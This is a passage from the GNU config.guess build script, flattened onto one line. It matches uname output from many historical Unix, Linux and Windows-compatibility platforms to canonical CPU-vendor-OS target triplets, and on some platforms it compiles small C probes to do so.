MIS*:SMP_DC-OSx*:*:*) # akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE. if test "`(/bin/universe) 2>/dev/null`" = att ; then echo pyramid-pyramid-sysv3 else echo pyramid-pyramid-bsd fi exit ;; NILE*:*:*:dcosx) echo pyramid-pyramid-svr4 exit ;; DRS?6000:unix:4.0:6*) echo sparc-icl-nx6 exit ;; DRS?6000:UNIX_SV:4.2*:7* | DRS?6000:isis:4.2*:7*) case `/usr/bin/uname -p` in sparc) echo sparc-icl-nx7; exit ;; esac ;; s390x:SunOS:*:*) echo ${UNAME_MACHINE}-ibm-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit ;; sun4H:SunOS:5.*:*) echo sparc-hal-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit ;; sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*) echo sparc-sun-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit ;; i86pc:SunOS:5.*:* | i86xen:SunOS:5.*:*) eval $set_cc_for_build SUN_ARCH="i386" # If there is a compiler, see if it is configured for 64-bit objects. # Note that the Sun cc does not turn __LP64__ into 1 like gcc does. # This test works for both compilers. if [ "$CC_FOR_BUILD" != 'no_compiler_found' ]; then if (echo '#ifdef __amd64'; echo IS_64BIT_ARCH; echo '#endif') | \ (CCOPTS= $CC_FOR_BUILD -E - 2>/dev/null) | \ grep IS_64BIT_ARCH >/dev/null then SUN_ARCH="x86_64" fi fi echo ${SUN_ARCH}-pc-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit ;; sun4*:SunOS:6*:*) # According to config.sub, this is the proper way to canonicalize # SunOS6. Hard to guess exactly what SunOS6 will be like, but # it's likely to be more like Solaris than SunOS4. echo sparc-sun-solaris3`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit ;; sun4*:SunOS:*:*) case "`/usr/bin/arch -k`" in Series*|S4*) UNAME_RELEASE=`uname -v` ;; esac # Japanese Language versions have a version number like `4.1.3-JL'. echo sparc-sun-sunos`echo ${UNAME_RELEASE}|sed -e 's/-/_/'` exit ;; sun3*:SunOS:*:*) echo m68k-sun-sunos${UNAME_RELEASE} exit ;; sun*:*:4.2BSD:*) UNAME_RELEASE=`(sed 1q /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null` test "x${UNAME_RELEASE}" = "x" && UNAME_RELEASE=3 case "`/bin/arch`" in sun3) echo m68k-sun-sunos${UNAME_RELEASE} ;; sun4) echo sparc-sun-sunos${UNAME_RELEASE} ;; esac exit ;; aushp:SunOS:*:*) echo sparc-auspex-sunos${UNAME_RELEASE} exit ;; # The situation for MiNT is a little confusing. The machine name # can be virtually everything (everything which is not # "atarist" or "atariste" at least should have a processor # > m68000). The system name ranges from "MiNT" over "FreeMiNT" # to the lowercase version "mint" (or "freemint"). Finally # the system name "TOS" denotes a system which is actually not # MiNT. But MiNT is downward compatible to TOS, so this should # be no problem. atarist[e]:*MiNT:*:* | atarist[e]:*mint:*:* | atarist[e]:*TOS:*:*) echo m68k-atari-mint${UNAME_RELEASE} exit ;; atari*:*MiNT:*:* | atari*:*mint:*:* | atarist[e]:*TOS:*:*) echo m68k-atari-mint${UNAME_RELEASE} exit ;; *falcon*:*MiNT:*:* | *falcon*:*mint:*:* | *falcon*:*TOS:*:*) echo m68k-atari-mint${UNAME_RELEASE} exit ;; milan*:*MiNT:*:* | milan*:*mint:*:* | *milan*:*TOS:*:*) echo m68k-milan-mint${UNAME_RELEASE} exit ;; hades*:*MiNT:*:* | hades*:*mint:*:* | *hades*:*TOS:*:*) echo m68k-hades-mint${UNAME_RELEASE} exit ;; *:*MiNT:*:* | *:*mint:*:* | *:*TOS:*:*) echo m68k-unknown-mint${UNAME_RELEASE} exit ;; m68k:machten:*:*) echo m68k-apple-machten${UNAME_RELEASE} exit ;; powerpc:machten:*:*) echo powerpc-apple-machten${UNAME_RELEASE} exit ;; RISC*:Mach:*:*) echo mips-dec-mach_bsd4.3 exit ;; RISC*:ULTRIX:*:*) echo mips-dec-ultrix${UNAME_RELEASE} exit ;; VAX*:ULTRIX*:*:*) echo vax-dec-ultrix${UNAME_RELEASE} exit ;; 2020:CLIX:*:* | 2430:CLIX:*:*) echo clipper-intergraph-clix${UNAME_RELEASE} exit ;; mips:*:*:UMIPS | mips:*:*:RISCos) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #ifdef __cplusplus #include /* for printf() prototype */ int main (int argc, char *argv[]) { #else int main (argc, argv) int argc; char *argv[]; { #endif #if defined (host_mips) && defined (MIPSEB) #if defined (SYSTYPE_SYSV) printf ("mips-mips-riscos%ssysv\n", argv[1]); exit (0); #endif #if defined (SYSTYPE_SVR4) printf ("mips-mips-riscos%ssvr4\n", argv[1]); exit (0); #endif #if defined (SYSTYPE_BSD43) || defined(SYSTYPE_BSD) printf ("mips-mips-riscos%sbsd\n", argv[1]); exit (0); #endif #endif exit (-1); } EOF $CC_FOR_BUILD -o $dummy $dummy.c && dummyarg=`echo "${UNAME_RELEASE}" | sed -n 's/\([0-9]*\).*/\1/p'` && SYSTEM_NAME=`$dummy $dummyarg` && { echo "$SYSTEM_NAME"; exit; } echo mips-mips-riscos${UNAME_RELEASE} exit ;; Motorola:PowerMAX_OS:*:*) echo powerpc-motorola-powermax exit ;; Motorola:*:4.3:PL8-*) echo powerpc-harris-powermax exit ;; Night_Hawk:*:*:PowerMAX_OS | Synergy:PowerMAX_OS:*:*) echo powerpc-harris-powermax exit ;; Night_Hawk:Power_UNIX:*:*) echo powerpc-harris-powerunix exit ;; m88k:CX/UX:7*:*) echo m88k-harris-cxux7 exit ;; m88k:*:4*:R4*) echo m88k-motorola-sysv4 exit ;; m88k:*:3*:R3*) echo m88k-motorola-sysv3 exit ;; AViiON:dgux:*:*) # DG/UX returns AViiON for all architectures UNAME_PROCESSOR=`/usr/bin/uname -p` if [ $UNAME_PROCESSOR = mc88100 ] || [ $UNAME_PROCESSOR = mc88110 ] then if [ ${TARGET_BINARY_INTERFACE}x = m88kdguxelfx ] || \ [ ${TARGET_BINARY_INTERFACE}x = x ] then echo m88k-dg-dgux${UNAME_RELEASE} else echo m88k-dg-dguxbcs${UNAME_RELEASE} fi else echo i586-dg-dgux${UNAME_RELEASE} fi exit ;; M88*:DolphinOS:*:*) # DolphinOS (SVR3) echo m88k-dolphin-sysv3 exit ;; M88*:*:R3*:*) # Delta 88k system running SVR3 echo m88k-motorola-sysv3 exit ;; XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3) echo m88k-tektronix-sysv3 exit ;; Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD) echo m68k-tektronix-bsd exit ;; *:IRIX*:*:*) echo mips-sgi-irix`echo ${UNAME_RELEASE}|sed -e 's/-/_/g'` exit ;; ????????:AIX?:[12].1:2) # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX. echo romp-ibm-aix # uname -m gives an 8 hex-code CPU id exit ;; # Note that: echo "'`uname -s`'" gives 'AIX ' i*86:AIX:*:*) echo i386-ibm-aix exit ;; ia64:AIX:*:*) if [ -x /usr/bin/oslevel ] ; then IBM_REV=`/usr/bin/oslevel` else IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE} fi echo ${UNAME_MACHINE}-ibm-aix${IBM_REV} exit ;; *:AIX:2:3) if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #include main() { if (!__power_pc()) exit(1); puts("powerpc-ibm-aix3.2.5"); exit(0); } EOF if $CC_FOR_BUILD -o $dummy $dummy.c && SYSTEM_NAME=`$dummy` then echo "$SYSTEM_NAME" else echo rs6000-ibm-aix3.2.5 fi elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then echo rs6000-ibm-aix3.2.4 else echo rs6000-ibm-aix3.2 fi exit ;; *:AIX:*:[456]) IBM_CPU_ID=`/usr/sbin/lsdev -C -c processor -S available | sed 1q | awk '{ print $1 }'` if /usr/sbin/lsattr -El ${IBM_CPU_ID} | grep ' POWER' >/dev/null 2>&1; then IBM_ARCH=rs6000 else IBM_ARCH=powerpc fi if [ -x /usr/bin/oslevel ] ; then IBM_REV=`/usr/bin/oslevel` else IBM_REV=${UNAME_VERSION}.${UNAME_RELEASE} fi echo ${IBM_ARCH}-ibm-aix${IBM_REV} exit ;; *:AIX:*:*) echo rs6000-ibm-aix exit ;; ibmrt:4.4BSD:*|romp-ibm:BSD:*) echo romp-ibm-bsd4.4 exit ;; ibmrt:*BSD:*|romp-ibm:BSD:*) # covers RT/PC BSD and echo romp-ibm-bsd${UNAME_RELEASE} # 4.3 with uname added to exit ;; # report: romp-ibm BSD 4.3 *:BOSX:*:*) echo rs6000-bull-bosx exit ;; DPX/2?00:B.O.S.:*:*) echo m68k-bull-sysv3 exit ;; 9000/[34]??:4.3bsd:1.*:*) echo m68k-hp-bsd exit ;; hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*) echo m68k-hp-bsd4.4 exit ;; 9000/[34678]??:HP-UX:*:*) HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` case "${UNAME_MACHINE}" in 9000/31? ) HP_ARCH=m68000 ;; 9000/[34]?? ) HP_ARCH=m68k ;; 9000/[678][0-9][0-9]) if [ -x /usr/bin/getconf ]; then sc_cpu_version=`/usr/bin/getconf SC_CPU_VERSION 2>/dev/null` sc_kernel_bits=`/usr/bin/getconf SC_KERNEL_BITS 2>/dev/null` case "${sc_cpu_version}" in 523) HP_ARCH="hppa1.0" ;; # CPU_PA_RISC1_0 528) HP_ARCH="hppa1.1" ;; # CPU_PA_RISC1_1 532) # CPU_PA_RISC2_0 case "${sc_kernel_bits}" in 32) HP_ARCH="hppa2.0n" ;; 64) HP_ARCH="hppa2.0w" ;; '') HP_ARCH="hppa2.0" ;; # HP-UX 10.20 esac ;; esac fi if [ "${HP_ARCH}" = "" ]; then eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #define _HPUX_SOURCE #include #include int main () { #if defined(_SC_KERNEL_BITS) long bits = sysconf(_SC_KERNEL_BITS); #endif long cpu = sysconf (_SC_CPU_VERSION); switch (cpu) { case CPU_PA_RISC1_0: puts ("hppa1.0"); break; case CPU_PA_RISC1_1: puts ("hppa1.1"); break; case CPU_PA_RISC2_0: #if defined(_SC_KERNEL_BITS) switch (bits) { case 64: puts ("hppa2.0w"); break; case 32: puts ("hppa2.0n"); break; default: puts ("hppa2.0"); break; } break; #else /* !defined(_SC_KERNEL_BITS) */ puts ("hppa2.0"); break; #endif default: puts ("hppa1.0"); break; } exit (0); } EOF (CCOPTS= $CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null) && HP_ARCH=`$dummy` test -z "$HP_ARCH" && HP_ARCH=hppa fi ;; esac if [ ${HP_ARCH} = "hppa2.0w" ] then eval $set_cc_for_build # hppa2.0w-hp-hpux* has a 64-bit kernel and a compiler generating # 32-bit code. hppa64-hp-hpux* has the same kernel and a compiler # generating 64-bit code. GNU and HP use different nomenclature: # # $ CC_FOR_BUILD=cc ./config.guess # => hppa2.0w-hp-hpux11.23 # $ CC_FOR_BUILD="cc +DA2.0w" ./config.guess # => hppa64-hp-hpux11.23 if echo __LP64__ | (CCOPTS= $CC_FOR_BUILD -E - 2>/dev/null) | grep -q __LP64__ then HP_ARCH="hppa2.0w" else HP_ARCH="hppa64" fi fi echo ${HP_ARCH}-hp-hpux${HPUX_REV} exit ;; ia64:HP-UX:*:*) HPUX_REV=`echo ${UNAME_RELEASE}|sed -e 's/[^.]*.[0B]*//'` echo ia64-hp-hpux${HPUX_REV} exit ;; 3050*:HI-UX:*:*) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #include int main () { long cpu = sysconf (_SC_CPU_VERSION); /* The order matters, because CPU_IS_HP_MC68K erroneously returns true for CPU_PA_RISC1_0. CPU_IS_PA_RISC returns correct results, however. */ if (CPU_IS_PA_RISC (cpu)) { switch (cpu) { case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2"); break; case CPU_PA_RISC1_1: puts ("hppa1.1-hitachi-hiuxwe2"); break; case CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break; default: puts ("hppa-hitachi-hiuxwe2"); break; } } else if (CPU_IS_HP_MC68K (cpu)) puts ("m68k-hitachi-hiuxwe2"); else puts ("unknown-hitachi-hiuxwe2"); exit (0); } EOF $CC_FOR_BUILD -o $dummy $dummy.c && SYSTEM_NAME=`$dummy` && { echo "$SYSTEM_NAME"; exit; } echo unknown-hitachi-hiuxwe2 exit ;; 9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:* ) echo hppa1.1-hp-bsd exit ;; 9000/8??:4.3bsd:*:*) echo hppa1.0-hp-bsd exit ;; *9??*:MPE/iX:*:* | *3000*:MPE/iX:*:*) echo hppa1.0-hp-mpeix exit ;; hp7??:OSF1:*:* | hp8?[79]:OSF1:*:* ) echo hppa1.1-hp-osf exit ;; hp8??:OSF1:*:*) echo hppa1.0-hp-osf exit ;; i*86:OSF1:*:*) if [ -x /usr/sbin/sysversion ] ; then echo ${UNAME_MACHINE}-unknown-osf1mk else echo ${UNAME_MACHINE}-unknown-osf1 fi exit ;; parisc*:Lites*:*:*) echo hppa1.1-hp-lites exit ;; C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*) echo c1-convex-bsd exit ;; C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*) if getsysinfo -f scalar_acc then echo c32-convex-bsd else echo c2-convex-bsd fi exit ;; C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*) echo c34-convex-bsd exit ;; C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*) echo c38-convex-bsd exit ;; C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*) echo c4-convex-bsd exit ;; CRAY*Y-MP:*:*:*) echo ymp-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit ;; CRAY*[A-Z]90:*:*:*) echo ${UNAME_MACHINE}-cray-unicos${UNAME_RELEASE} \ | sed -e 's/CRAY.*\([A-Z]90\)/\1/' \ -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ \ -e 's/\.[^.]*$/.X/' exit ;; CRAY*TS:*:*:*) echo t90-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit ;; CRAY*T3E:*:*:*) echo alphaev5-cray-unicosmk${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit ;; CRAY*SV1:*:*:*) echo sv1-cray-unicos${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit ;; *:UNICOS/mp:*:*) echo craynv-cray-unicosmp${UNAME_RELEASE} | sed -e 's/\.[^.]*$/.X/' exit ;; F30[01]:UNIX_System_V:*:* | F700:UNIX_System_V:*:*) FUJITSU_PROC=`uname -m | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` FUJITSU_REL=`echo ${UNAME_RELEASE} | sed -e 's/ /_/'` echo "${FUJITSU_PROC}-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" exit ;; 5000:UNIX_System_V:4.*:*) FUJITSU_SYS=`uname -p | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/\///'` FUJITSU_REL=`echo ${UNAME_RELEASE} | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' | sed -e 's/ /_/'` echo "sparc-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" exit ;; i*86:BSD/386:*:* | i*86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*) echo ${UNAME_MACHINE}-pc-bsdi${UNAME_RELEASE} exit ;; sparc*:BSD/OS:*:*) echo sparc-unknown-bsdi${UNAME_RELEASE} exit ;; *:BSD/OS:*:*) echo ${UNAME_MACHINE}-unknown-bsdi${UNAME_RELEASE} exit ;; *:FreeBSD:*:*) case ${UNAME_MACHINE} in pc98) echo i386-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` ;; amd64) echo x86_64-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` ;; *) echo ${UNAME_MACHINE}-unknown-freebsd`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` ;; esac exit ;; i*:CYGWIN*:*) echo ${UNAME_MACHINE}-pc-cygwin exit ;; *:MINGW*:*) echo ${UNAME_MACHINE}-pc-mingw32 exit ;; i*:windows32*:*) # uname -m includes "-pc" on this system. echo ${UNAME_MACHINE}-mingw32 exit ;; i*:PW*:*) echo ${UNAME_MACHINE}-pc-pw32 exit ;; *:Interix*:*) case ${UNAME_MACHINE} in x86) echo i586-pc-interix${UNAME_RELEASE} exit ;; authenticamd | genuineintel | EM64T) echo x86_64-unknown-interix${UNAME_RELEASE} exit ;; IA64) echo ia64-unknown-interix${UNAME_RELEASE} exit ;; esac ;; [345]86:Windows_95:* | [345]86:Windows_98:* | [345]86:Windows_NT:*) echo i${UNAME_MACHINE}-pc-mks exit ;; 8664:Windows_NT:*) echo x86_64-pc-mks exit ;; i*:Windows_NT*:* | Pentium*:Windows_NT*:*) # How do we know it's Interix rather than the generic POSIX subsystem? # It also conflicts with pre-2.0 versions of AT&T UWIN. Should we # UNAME_MACHINE based on the output of uname instead of i386? echo i586-pc-interix exit ;; i*:UWIN*:*) echo ${UNAME_MACHINE}-pc-uwin exit ;; amd64:CYGWIN*:*:* | x86_64:CYGWIN*:*:*) echo x86_64-unknown-cygwin exit ;; p*:CYGWIN*:*) echo powerpcle-unknown-cygwin exit ;; prep*:SunOS:5.*:*) echo powerpcle-unknown-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` exit ;; *:GNU:*:*) # the GNU system echo `echo ${UNAME_MACHINE}|sed -e 's,[-/].*$,,'`-unknown-gnu`echo ${UNAME_RELEASE}|sed -e 's,/.*$,,'` exit ;; *:GNU/*:*:*) # other systems with GNU libc and userland echo ${UNAME_MACHINE}-unknown-`echo ${UNAME_SYSTEM} | sed 's,^[^/]*/,,' | tr '[A-Z]' '[a-z]'``echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'`-gnu exit ;; i*86:Minix:*:*) echo ${UNAME_MACHINE}-pc-minix exit ;; alpha:Linux:*:*) case `sed -n '/^cpu model/s/^.*: \(.*\)/\1/p' < /proc/cpuinfo` in EV5) UNAME_MACHINE=alphaev5 ;; EV56) UNAME_MACHINE=alphaev56 ;; PCA56) UNAME_MACHINE=alphapca56 ;; PCA57) UNAME_MACHINE=alphapca56 ;; EV6) UNAME_MACHINE=alphaev6 ;; EV67) UNAME_MACHINE=alphaev67 ;; EV68*) UNAME_MACHINE=alphaev68 ;; esac objdump --private-headers /bin/sh | grep -q ld.so.1 if test "$?" = 0 ; then LIBC="libc1" ; else LIBC="" ; fi echo ${UNAME_MACHINE}-unknown-linux-gnu${LIBC} exit ;; arm*:Linux:*:*) eval $set_cc_for_build if echo __ARM_EABI__ | $CC_FOR_BUILD -E - 2>/dev/null \ | grep -q __ARM_EABI__ then echo ${UNAME_MACHINE}-unknown-linux-gnu else echo ${UNAME_MACHINE}-unknown-linux-gnueabi fi exit ;; avr32*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; cris:Linux:*:*) echo cris-axis-linux-gnu exit ;; crisv32:Linux:*:*) echo crisv32-axis-linux-gnu exit ;; frv:Linux:*:*) echo frv-unknown-linux-gnu exit ;; i*86:Linux:*:*) LIBC=gnu eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #ifdef __dietlibc__ LIBC=dietlibc #endif EOF eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep '^LIBC'` echo "${UNAME_MACHINE}-pc-linux-${LIBC}" exit ;; ia64:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; m32r*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; m68*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; mips:Linux:*:* | mips64:Linux:*:*) eval $set_cc_for_build sed 's/^ //' << EOF >$dummy.c #undef CPU #undef ${UNAME_MACHINE} #undef ${UNAME_MACHINE}el #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) CPU=${UNAME_MACHINE}el #else #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) CPU=${UNAME_MACHINE} #else CPU= #endif #endif EOF eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep '^CPU'` test x"${CPU}" != x && { echo "${CPU}-unknown-linux-gnu"; exit; } ;; or32:Linux:*:*) echo or32-unknown-linux-gnu exit ;; padre:Linux:*:*) echo sparc-unknown-linux-gnu exit ;; parisc64:Linux:*:* | hppa64:Linux:*:*) echo hppa64-unknown-linux-gnu exit ;; parisc:Linux:*:* | hppa:Linux:*:*) # Look for CPU level case `grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2` in PA7*) echo hppa1.1-unknown-linux-gnu ;; PA8*) echo hppa2.0-unknown-linux-gnu ;; *) echo hppa-unknown-linux-gnu ;; esac exit ;; ppc64:Linux:*:*) echo powerpc64-unknown-linux-gnu exit ;; ppc:Linux:*:*) echo powerpc-unknown-linux-gnu exit ;; s390:Linux:*:* | s390x:Linux:*:*) echo ${UNAME_MACHINE}-ibm-linux exit ;; sh64*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; sh*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; sparc:Linux:*:* | sparc64:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; vax:Linux:*:*) echo ${UNAME_MACHINE}-dec-linux-gnu exit ;; x86_64:Linux:*:*) echo x86_64-unknown-linux-gnu exit ;; xtensa*:Linux:*:*) echo ${UNAME_MACHINE}-unknown-linux-gnu exit ;; i*86:DYNIX/ptx:4*:*) # ptx 4.0 does uname -s correctly, with DYNIX/ptx in there. # earlier versions are messed up and put the nodename in both # sysname and nodename. echo i386-sequent-sysv4 exit ;; i*86:UNIX_SV:4.2MP:2.*) # Unixware is an offshoot of SVR4, but it has its own version # number series starting with 2... # I am not positive that other SVR4 systems won't match this, # I just have to hope. -- rms. # Use sysv4.2uw... so that sysv4* matches it. echo ${UNAME_MACHINE}-pc-sysv4.2uw${UNAME_VERSION} exit ;; i*86:OS/2:*:*) # If we were able to find `uname', then EMX Unix compatibility # is probably installed. echo ${UNAME_MACHINE}-pc-os2-emx exit ;; i*86:XTS-300:*:STOP) echo ${UNAME_MACHINE}-unknown-stop exit ;; i*86:atheos:*:*) echo ${UNAME_MACHINE}-unknown-atheos exit ;; i*86:syllable:*:*) echo ${UNAME_MACHINE}-pc-syllable exit ;; i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.[02]*:*) echo i386-unknown-lynxos${UNAME_RELEASE} exit ;; i*86:*DOS:*:*) echo ${UNAME_MACHINE}-pc-msdosdjgpp exit ;; i*86:*:4.*:* | i*86:SYSTEM_V:4.*:*) UNAME_REL=`echo ${UNAME_RELEASE} | sed 's/\/MP$//'` if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then echo ${UNAME_MACHINE}-univel-sysv${UNAME_REL} else echo ${UNAME_MACHINE}-pc-sysv${UNAME_REL} fi exit ;; i*86:*:5:[678]*) # UnixWare 7.x, OpenUNIX and OpenServer 6. case `/bin/uname -X | grep "^Machine"` in *486*) UNAME_MACHINE=i486 ;; *Pentium) UNAME_MACHINE=i586 ;; *Pent*|*Celeron) UNAME_MACHINE=i686 ;; esac echo ${UNAME_MACHINE}-unknown-sysv${UNAME_RELEASE}${UNAME_SYSTEM}${UNAME_VERSION} exit ;; i*86:*:3.2:*) if test -f /usr/options/cb.name; then UNAME_REL=`sed -n 's/.*Version //p' /dev/null >/dev/null ; then UNAME_REL=`(/bin/uname -X|grep Release|sed -e 's/.*= //')` (/bin/uname -X|grep i80486 >/dev/null) && UNAME_MACHINE=i486 (/bin/uname -X|grep '^Machine.*Pentium' >/dev/null) \ && UNAME_MACHINE=i586 (/bin/uname -X|grep '^Machine.*Pent *II' >/dev/null) \ && UNAME_MACHINE=i686 (/bin/uname -X|grep '^Machine.*Pentium Pro' >/dev/null) \ && UNAME_MACHINE=i686 echo ${UNAME_MACHINE}-pc-sco$UNAME_REL else echo ${UNAME_MACHINE}-pc-sysv32 fi exit ;; pc:*:*:*) # Left here for compatibility: # uname -m prints for DJGPP always 'pc', but it prints nothing about # the processor, so we play safe by assuming i586. # Note: whatever this is, it MUST be the same as what config.sub # prints for the "djgpp" host, or else GDB configury will decide that # this is a cross-build. echo i586-pc-msdosdjgpp exit ;; Intel:Mach:3*:*) echo i386-pc-mach3 exit ;; paragon:*:*:*) echo i860-intel-osf1 exit ;; i860:*:4.*:*) # i860-SVR4 if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then echo i860-stardent-sysv${UNAME_RELEASE} # Stardent Vistra i860-SVR4 else # Add other i860-SVR4 vendors below as they are discovered. echo i860-unknown-sysv${UNAME_RELEASE} # Unknown i860-SVR4 fi exit ;; mini*:CTIX:SYS*5:*) # "miniframe" echo m68010-convergent-sysv exit ;; mc68k:UNIX:SYSTEM5:3.51m) echo m68k-convergent-sysv exit ;; M680?0:D-NIX:5.3:*) echo m68k-diab-dnix exit ;; M68*:*:R3V[5678]*:*) test -r /sysV68 && { echo 'm68k-motorola-sysv'; exit; } ;; 3[345]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 3[34]??/*:*:4.0:3.0 | 4400:*:4.0:3.0 | 4850:*:4.0:3.0 | SKA40:*:4.0:3.0 | SDS2:*:4.0:3.0 | SHG2:*:4.0:3.0 | S7501*:*:4.0:3.0) OS_REL='' test -r /etc/.relid \ && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid` /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ && { echo i486-ncr-sysv4.3${OS_REL}; exit; } /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ && { echo i586-ncr-sysv4.3${OS_REL}; exit; } ;; 3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*) /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ && { echo i486-ncr-sysv4; exit; } ;; NCR*:*:4.2:* | MPRAS*:*:4.2:*) OS_REL='.3' test -r /etc/.relid \ && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid` /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ && { echo i486-ncr-sysv4.3${OS_REL}; exit; } /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ && { echo i586-ncr-sysv4.3${OS_REL}; exit; } /bin/uname -p 2>/dev/null | /bin/grep pteron >/dev/null \ && { echo i586-ncr-sysv4.3${OS_REL}; exit; } ;; m68*:LynxOS:2.*:* | m68*:LynxOS:3.0*:*) echo m68k-unknown-lynxos${UNAME_RELEASE} exit ;; mc68030:UNIX_System_V:4.*:*) echo m68k-atari-sysv4 exit ;; TSUNAMI:LynxOS:2.*:*) echo sparc-unknown-lynxos${UNAME_RELEASE} exit ;; rs6000:LynxOS:2.*:*) echo rs6000-unknown-lynxos${UNAME_RELEASE} exit ;; PowerPC:LynxOS:2.*:* | PowerPC:LynxOS:3.[01]*:* | PowerPC:LynxOS:4.[02]*:*) echo powerpc-unknown-lynxos${UNAME_RELEASE} exit ;; SM[BE]S:UNIX_SV:*:*) echo mips-dde-sysv${UNAME_RELEASE} exit ;; RM*:ReliantUNIX-*:*:*) echo mips-sni-sysv4 exit ;; RM*:SINIX-*:*:*) echo mips-sni-sysv4 exit ;; *:SINIX-*:*:*) if uname -p 2>/dev/null >/dev/null ; then UNAME_MACHINE=`(uname -p) 2>/dev/null` echo ${UNAME_MACHINE}-sni-sysv4 else echo ns32k-sni-sysv fi exit ;; PENTIUM:*:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort # says echo i586-unisys-sysv4 exit ;; *:UNIX_System_V:4*:FTX*) # From Gerald Hewes . # How about differentiating between stratus architectures? -djm echo hppa1.1-stratus-sysv4 exit ;; *:*:*:FTX*) # From seanf@swdc.stratus.com. echo i860-stratus-sysv4 exit ;; i*86:VOS:*:*) # From Paul.Green@stratus.com. echo ${UNAME_MACHINE}-stratus-vos exit ;; *:VOS:*:*) # From Paul.Green@stratus.com. echo hppa1.1-stratus-vos exit ;; mc68*:A/UX:*:*) echo m68k-apple-aux${UNAME_RELEASE} exit ;; news*:NEWS-OS:6*:*) echo mips-sony-newsos6 exit ;; R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*) if [ -d /usr/nec ]; then echo mips-nec-sysv${UNAME_RELEASE} else echo mips-unknown-sysv${UNAME_RELEASE} fi exit ;; BeBox:BeOS:*:*) # BeOS running on hardware made by Be, PPC only. echo powerpc-be-beos exit ;; BeMac:BeOS:*:*) # BeOS running on Mac or Mac clone, PPC only. echo powerpc-apple-beos exit ;; BePC:BeOS:*:*) # 